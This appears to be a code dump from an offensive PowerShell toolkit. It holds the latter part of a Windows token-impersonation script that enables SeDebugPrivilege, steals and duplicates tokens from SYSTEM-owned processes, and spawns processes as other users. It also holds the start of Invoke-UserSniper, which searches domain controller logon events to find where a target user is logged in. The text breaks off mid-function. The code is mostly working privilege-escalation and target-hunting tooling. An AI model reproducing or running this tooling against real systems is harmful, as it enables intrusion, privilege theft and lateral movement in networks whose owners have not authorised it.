STANDARD_RIGHTS_READ = 0x20000 149 | TokenStatistics = 10 150 | TOKEN_ALL_ACCESS = 0xf01ff 151 | MAXIMUM_ALLOWED = 0x02000000 152 | THREAD_ALL_ACCESS = 0x1f03ff 153 | ERROR_INVALID_PARAMETER = 0x57 154 | LOGON_NETCREDENTIALS_ONLY = 0x2 155 | SE_PRIVILEGE_ENABLED = 0x2 156 | SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 157 | SE_PRIVILEGE_REMOVED = 0x4 158 | } 159 | $Win32Constants = New-Object PSObject -Property $Constants 160 | 161 | # Win32Structures 162 | $Domain = [AppDomain]::CurrentDomain 163 | $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') 164 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 165 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) 166 | $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 167 | 168 | # Struct LUID 169 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 170 | $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [ValueType], 8) 171 | $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null 172 | $TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null 173 | $LUID = $TypeBuilder.CreateType() 174 | 175 | # Struct LUID_AND_ATTRIBUTES 176 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 177 | $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [ValueType], 12) 178 | $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null 179 | $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null 180 | $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() 181 | 182 | # Struct TOKEN_PRIVILEGES 183 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 184 | $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [ValueType], 16) 185 | $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null 186 | $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null 187 | $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() 188 | 189 | # Struct STARTUPINFO 190 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 191 | $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [ValueType]) 192 | $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null 193 | $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null 194 | $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null 195 | $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null 196 | $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null 197 | $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null 198 | $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null 199 | $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null 200 | $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null 201 | $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null 202 | $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null 203 | $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null 204 | $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null 205 | $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null 206 | $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null 207 | $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null 208 | $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null 209 | $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null 210 | $STARTUPINFO = $TypeBuilder.CreateType() 211 | 212 | # Struct PROCESS_INFORMATION 213 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 214 | $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [ValueType]) 215 | $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null 216 | $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null 217 | $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null 218 | $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null 219 | $PROCESS_INFORMATION = $TypeBuilder.CreateType() 220 | 221 | # Win32Functions 222 | $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess 223 | $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) 224 | $OpenProcess = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) 225 | 226 | $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken 227 | $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) 228 | $OpenProcessToken = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) 229 | 230 | $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser 231 | $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool]) 232 | $ImpersonateLoggedOnUser = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate) 233 | 234 | $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf 235 | $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) 236 | $RevertToSelf = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) 237 | 238 | $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx 239 | $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) 240 | $DuplicateTokenEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) 241 | 242 | $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle 243 | $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) 244 | $CloseHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) 245 | 246 | $OpenThreadAddr = Get-ProcAddress kernel32.dll OpenThread 247 | $OpenThreadDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) 248 | $OpenThread = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadAddr, $OpenThreadDelegate) 249 | 250 | $OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken 251 | $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) 252 | $OpenThreadToken = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) 253 | 254 | $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf 255 | $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) 256 | $ImpersonateSelf = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) 257 | 258 | $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA 259 | $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool]) 260 | $LookupPrivilegeValue = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) 261 | 262 | $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges 263 | $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool]) 264 | $AdjustTokenPrivileges = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) 265 | 266 | $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread 267 | $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) 268 | $GetCurrentThread = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) 269 | 270 | $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW 271 | $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) 272 | $CreateProcessWithTokenW = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) 273 | 274 | $CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW 275 | $CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) 276 | $CreateProcessAsUserW = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate) 277 | 278 | $memsetAddr = Get-ProcAddress msvcrt.dll memset 279 | $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) 280 | $memset = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) 281 | 282 | ######################################## 283 | 284 | Function Local:Enable-Privilege { 285 | Param( 286 | [Parameter()] 287 | [ValidateSet("SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", 288 | "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", 289 | "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", 290 | "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", 291 | "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", 292 | "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", 293 | "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", 294 | "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")] 295 | [String] 296 | $Privilege 297 | ) 298 | 299 | [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() 300 | if ($ThreadHandle -eq [IntPtr]::Zero) { 301 | Throw "Unable to get the handle to the current thread" 302 | } 303 | 304 | [IntPtr]$ThreadToken = [IntPtr]::Zero 305 | [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) 306 | $ErrorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 307 | 308 | if ($Result -eq $false) { 309 | if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) { 310 | $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) 311 | if ($Result -eq $false) { 312 | Throw (New-Object ComponentModel.Win32Exception) 313 | } 314 | 315 | $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) 316 | if ($Result -eq $false) { 317 | Throw (New-Object ComponentModel.Win32Exception) 318 | } 319 | } 320 | else { 321 | Throw ([ComponentModel.Win32Exception] $ErrorCode) 322 | } 323 | } 324 | 325 | $CloseHandle.Invoke($ThreadHandle) | Out-Null 326 | 327 | $LuidSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) 328 | $LuidPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) 329 | $LuidObject = [Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) 330 | [Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) 331 | 332 | $Result = $LookupPrivilegeValue.Invoke($null, $Privilege, [Ref] $LuidObject) 333 | 334 | if ($Result -eq $false) { 335 | Throw (New-Object ComponentModel.Win32Exception) 336 | } 337 | 338 | [UInt32]$LuidAndAttributesSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) 339 | $LuidAndAttributesPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) 340 | $LuidAndAttributes = [Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) 341 | [Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) 342 | 343 | $LuidAndAttributes.Luid = $LuidObject 344 | $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED 345 | 346 | [UInt32]$TokenPrivSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) 347 | $TokenPrivilegesPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) 348 | $TokenPrivileges = [Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) 349 | [Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) 350 | $TokenPrivileges.PrivilegeCount = 1 351 | $TokenPrivileges.Privileges = $LuidAndAttributes 352 | 353 | $Global:TokenPriv = $TokenPrivileges 354 | 355 | Write-Verbose "Attempting to enable privilege: $Privilege" 356 | $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) 357 | if ($Result -eq $false) { 358 | Throw (New-Object ComponentModel.Win32Exception) 359 | } 360 | 361 | $CloseHandle.Invoke($ThreadToken) | Out-Null 362 | Write-Verbose "Enabled privilege: $Privilege" 363 | } 364 | 365 | Function Local:Get-PrimaryToken { 366 | Param( 367 | [Parameter(Mandatory = $True)] 368 | [UInt32] 369 | $ProcessId, 370 | 371 | [Parameter()] 372 | [Switch] 373 | $FullPrivs 374 | ) 375 | 376 | if ($FullPrivs) { 377 | $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS 378 | } else { 379 | $TokenPrivs = $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_DUPLICATE 380 | } 381 | [IntPtr]$hToken = [IntPtr]::Zero 382 | 383 | # Get handle for the process 384 | $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $False, $ProcessId) 385 | if ($hProcess -ne [IntPtr]::Zero) { 386 | 387 | # Get process token 388 | $RetVal = $OpenProcessToken.Invoke(([IntPtr][Int] $hProcess), $TokenPrivs, [ref]$hToken) 389 | if (-not $RetVal -or $hToken -eq [IntPtr]::Zero) { 390 | $ErrorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 391 | Write-Verbose "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" 392 | } 393 | 394 | # Close handle 395 | if (-not $CloseHandle.Invoke($hProcess)) { 396 | $ErrorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 397 | Write-Verbose "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" 398 | } 399 | $hProcess = [IntPtr]::Zero 400 | 401 | return $hToken 402 | } 403 | return [IntPtr]::Zero 404 | } 405 | 406 | Function Local:Invoke-ImpersonateUser { 407 | Param( 408 | [Parameter(Mandatory=$true)] 409 | [IntPtr] 410 | $hToken, 411 | 412 | [Parameter()] 413 | [String] 414 | $CreateProcess, 415 | 416 | [Parameter()] 417 | [String] 418 | $ProcessArgs 419 | ) 420 | 421 | $Success = $False 422 | [IntPtr]$hDulicateToken = [IntPtr]::Zero 423 | 424 | # Duplicate the primary token 425 | $RetVal = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$hDulicateToken) 426 | if (-not $RetVal) { 427 | $ErrorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 428 | Write-Verbose "DuplicateTokenEx failed. ErrorCode: $ErrorCode" 429 | } 430 | 431 | # Close handle for the primary token 432 | if (-not $CloseHandle.Invoke($hToken)) { 433 | $ErrorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 434 | Write-Verbose "Failed to close token handle, this is unexpected. ErrorCode: $ErrorCode" 435 | } 436 | if ($hDulicateToken -ne [IntPtr]::Zero) { 437 | if ([String]::IsNullOrEmpty($CreateProcess)) { 438 | # Impersonate user in the current thread 439 | $RetVal = $ImpersonateLoggedOnUser.Invoke($hDulicateToken) 440 | if (-not $RetVal) { 441 | $Errorcode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 442 | Write-Warning "Failed to ImpersonateLoggedOnUser. Error code: $Errorcode" 443 | } 444 | else { 445 | $Success = $True 446 | } 447 | } 448 | else { 449 | # Impersonate user in a new process 450 | $StartupInfoSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) 451 | [IntPtr]$StartupInfoPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) 452 | $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null 453 | [Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) 454 | $ProcessInfoSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) 455 | [IntPtr]$ProcessInfoPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) 456 | $ProcessNamePtr = [Runtime.InteropServices.Marshal]::StringToHGlobalUni("$CreateProcess") 457 | $ProcessArgsPtr = [IntPtr]::Zero 458 | if (-not [String]::IsNullOrEmpty($ProcessArgs)) { 459 | $ProcessArgsPtr = [Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$CreateProcess`" $ProcessArgs") 460 | } 461 | 462 | Write-Verbose "Creating a process with alternate token" 463 | if ([Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) { 464 | Write-Verbose "Running in Session 0, enabling SeAssignPrimaryTokenPrivilege before calling CreateProcessAsUserW" 465 | Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege 466 | $RetValue = $CreateProcessAsUserW.Invoke($hDulicateToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) 467 | } 468 | else { 469 | Write-Verbose "Not running in Session 0, calling CreateProcessWithTokenW" 470 | $RetValue = $CreateProcessWithTokenW.Invoke($hDulicateToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) 471 | } 472 | if ($RetValue) { 473 | # Free the handles returned in the ProcessInfo structure 474 | $ProcessInfo = [Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) 475 | $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null 476 | $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null 477 | } 478 | else { 479 | $ErrorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 480 | Write-Warning "Process creation failed. Error code: $ErrorCode" 481 | } 482 | 483 | # Free StartupInfo memory and ProcessInfo memory 484 | [Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) 485 | [Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) 486 | [Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) 487 | 488 | # Close handle for the token duplicated 489 | if (-not $CloseHandle.Invoke($hDulicateToken)) { 490 | $ErrorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 491 | Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" 492 | } 493 | else { 494 | $Success = $True 495 | } 496 | } 497 | } 498 | return $Success 499 | } 500 | 501 | Function Local:Get-UserToken { 502 | Param( 503 | [Parameter(Mandatory = $True)] 504 | [String] 505 | $User, 506 | 507 | [Parameter()] 508 | [String] 509 | $CreateProcess, 510 | 511 | [Parameter()] 512 | [String] 513 | $ProcessArgs 514 | ) 515 | 516 | $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value 517 | $success = $False 518 | 519 | # Enumerate processes 520 | $Processes = Get-WmiObject -Class Win32_Process 521 | foreach ($Process in $Processes) { 522 | try { 523 | if (Get-Process -Id $Process.ProcessId -ErrorAction SilentlyContinue) { 524 | if ($success) { 525 | break 526 | } 527 | else { 528 | $OwnerInfo = $Process.GetOwner() 529 | $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() 530 | if ($OwnerString -eq $User.ToUpper()) { 531 | # Get primary token 532 | if ($LocalSystemNTAccount.ToString() -eq $User) { 533 | $hToken = Get-PrimaryToken -ProcessId $Process.ProcessId 534 | } 535 | else { 536 | $hToken = Get-PrimaryToken -ProcessId $Process.ProcessId -FullPrivs 537 | } 538 | # Impersonate user 539 | if ($hToken -ne [IntPtr]::Zero) { 540 | if ($success = Invoke-ImpersonateUser -hToken $hToken -CreateProcess $CreateProcess -ProcessArgs $ProcessArgs) { 541 | Write-Host "[+] Process $($Process.Name) (PID $($Process.ProcessId)) impersonated!" 542 | } 543 | } 544 | } 545 | } 546 | } 547 | } 548 | catch { 549 | Write-Error $_ 550 | } 551 | } 552 | if (-not $success) { 553 | Write-Error 'Unable to obtain a handle to a system process.' 554 | } 555 | } 556 | 557 | Function Local:Invoke-RevertToSelf { 558 | Param() 559 | 560 | if ($RevertToSelf.Invoke()) { 561 | Write-Verbose "RevertToSelf was successful." 562 | } 563 | else { 564 | Write-Warning "RevertToSelf failed." 565 | } 566 | } 567 | 568 | # Ensure token duplication works correctly 569 | if ([Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { 570 | Write-Error "This script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop 571 | } 572 | 573 | # Get system 574 | if ($GetSystem -or $ImpersonateUser) { 575 | $currentPrincipal = [Security.Principal.WindowsIdentity]::GetCurrent() 576 | if ((New-Object Security.Principal.WindowsPrincipal($currentPrincipal)).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) { 577 | Write-Error "This script must be run as an Administrator" -ErrorAction Stop 578 | } 579 | if ($currentPrincipal.isSystem) { 580 | Write-Host "[*] Running as SYSTEM" 581 | } 582 | else { 583 | Write-Host "[*] Enabling SeDebugPrivilege" 584 | Enable-Privilege -Privilege SeDebugPrivilege 585 | $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value 586 | Write-Host "[*] Attempting to elevate to $LocalSystemNTAccount" 587 | Get-UserToken -User $LocalSystemNTAccount 588 | } 589 | } 590 | 591 | # Impersonate an alternate users token 592 | if ($ImpersonateUser) { 593 | Write-Host "[*] Attempting to impersonate $ImpersonateUser" 594 | Get-UserToken -User $ImpersonateUser -CreateProcess $CreateProcess -ProcessArgs $ProcessArgs 595 | if ($CreateProcess) { 596 | Invoke-RevertToSelf 597 | } 598 | } 599 | 600 | # Stop impersonating users token 601 | if ($RevToSelf) { 602 | Write-Host "[*] Reverting the current thread privileges" 603 | Invoke-RevertToSelf 604 | } 605 | 606 | # WhoAmI? 607 | Write-Host "[+] Operating as" $([Security.Principal.WindowsIdentity]::GetCurrent()).Name 608 | } 609 | -------------------------------------------------------------------------------- /Invoke-UserSniper.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-UserSniper { 2 | <# 3 | .SYNOPSIS 4 | Find logon machine(s) of a specific user in Active Directory 5 | 6 | Author: Timothée MENOCHET (@synetis) 7 | 8 | .DESCRIPTION 9 | Invoke-UserSniper queries domain contollers for logon events matching a target user. 10 | 11 | .PARAMETER Identity 12 | Specify the target user to search for. 13 | 14 | .PARAMETER DomainController 15 | Specify a specific domain controller to query. 16 | 17 | .PARAMETER Domain 18 | Specify the domain to query for domain controllers, defaults to the current domain. 19 | 20 | .PARAMETER Limit 21 | Specify the maximal number of events to retrieve for the target user. 22 | 23 | .PARAMETER Credential 24 | Specify the privileged account to use (typically Domain Admin). 25 | 26 | .EXAMPLE 27 | PS C:\> Invoke-UserSniper -Identity john.doe -Domain ADATUM.CORP 28 | 29 | .EXAMPLE 30 | PS C:\> Invoke-UserSniper -Identity john.doe -DomainController 192.168.1.10 -Credential ADATUM\Administrator 31 | #> 32 | 33 | Param ( 34 | [Parameter(Mandatory=$true)] 35 | [ValidateNotNullOrEmpty()] 36 | [String] 37 | $Identity, 38 | 39 | [ValidateNotNullOrEmpty()] 40 | [String] 41 | $DomainController, 42 | 43 | [ValidateNotNullOrEmpty()] 44 | [String] 45 | $Domain = $Env:USERDNSDOMAIN, 46 | 47 | [ValidateNotNullOrEmpty()] 48 | [Int32] 49 | $Limit = 10, 50 | 51 | [ValidateNotNullOrEmpty()] 52 | [System.Management.Automation.PSCredential] 53 | [System.Management.Automation.Credential()] 54 | $Credential = [System.Management.Automation.PSCredential]::Empty 55 | ) 56 | 57 | $DomainControllers = @() 58 | If ($DomainController) { 59 | $DomainControllers += $DomainController 60 | } Else { 61 | $SearchString = "LDAP://$Domain/RootDSE" 62 | $DomainObject = New-Object System.DirectoryServices.DirectoryEntry($SearchString, $null, $null) 63 | $rootDN = $DomainObject.rootDomainNamingContext[0] 64 | $SearchString = "LDAP://$Domain/$rootDN" 65 | $Filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)" 66 | If ($Credential.UserName) { 67 | $DomainObject = New-Object System.DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) 68 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) 69 | } Else { 70 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) 71 | } 72 | $Searcher.filter = $Filter 73 | Try { 74 | $Results = $Searcher.FindAll() 75 | $Results | Where-Object {$_} | ForEach-Object { 76 | $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname 77 | if($Up) { 78 | $DomainControllers += $($_.properties.dnshostname).ToString() 79 | } 80 | } 81 | $Results.dispose() 82 | $Searcher.dispose() 83 | } Catch { 84 | Write-Warning "Error: $_" 85 | } 86 | } 87 | 88 | $results = @() 89 | ForEach ($DomainController in $DomainControllers) { 90 | $FilterXPath = "*[System[EventID=4624] and EventData[Data[@Name='TargetUserName']='$Identity']]" 91 | If ($Credential.UserName) { 92 | $Username = $Credential.UserName 93 | $Password = $Credential.GetNetworkCredential().Password 94 | WevtUtil query-events Security /query:$FilterXPath /remote:$DomainController /username:$Username /password:$Password /format:XML /count:$Limit | ForEach { 95 | [XML] $XML = ($_) 96 | $Status = $XML.Event.System.Keywords 97 | if ($Status -eq "0x8020000000000000") { 98 | $results += ParseLogonEvent($XML) 99 | } 100 | } 101 | } Else { 102 | WevtUtil query-events Security /query:$FilterXPath /remote:$DomainController /format:XML /count:$Limit | ForEach { 103 | [XML] $XML = ($_) 104 | $Status = $XML.Event.System.Keywords 105 | if ($Status -eq "0x8020000000000000") { 106 | $results += ParseLogonEvent($XML) 107 | } 108 | } 109 | } 110 | } 111 | $results | Sort-Object -Property 'IpAddress' -Unique | Select TargetDomainName, TargetUserName, LogonType, IpAddress, WorkstationName 112 | } 113 | 114 | function ParseLogonEvent($XML) { 115 | $props = @{} 116 | $props.Add('DCEvent',$XML.Event.System.Computer) 117 | $props.Add('Date',$XML.Event.System.TimeCreated.SystemTime) 118 | $props.Add('EventId', $XML.Event.System.EventID) 119 | $props.Add('SubjectUserSid', $XML.Event.EventData.Data[0].'#text') 120 | $props.Add('SubjectUserName', $XML.Event.EventData.Data[1].'#text') 121 | $props.Add('SubjectDomainName', 